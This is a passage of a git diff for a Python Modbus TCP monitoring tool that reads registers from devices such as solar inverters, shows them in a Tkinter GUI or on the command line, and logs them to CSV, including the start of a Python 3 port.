self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = 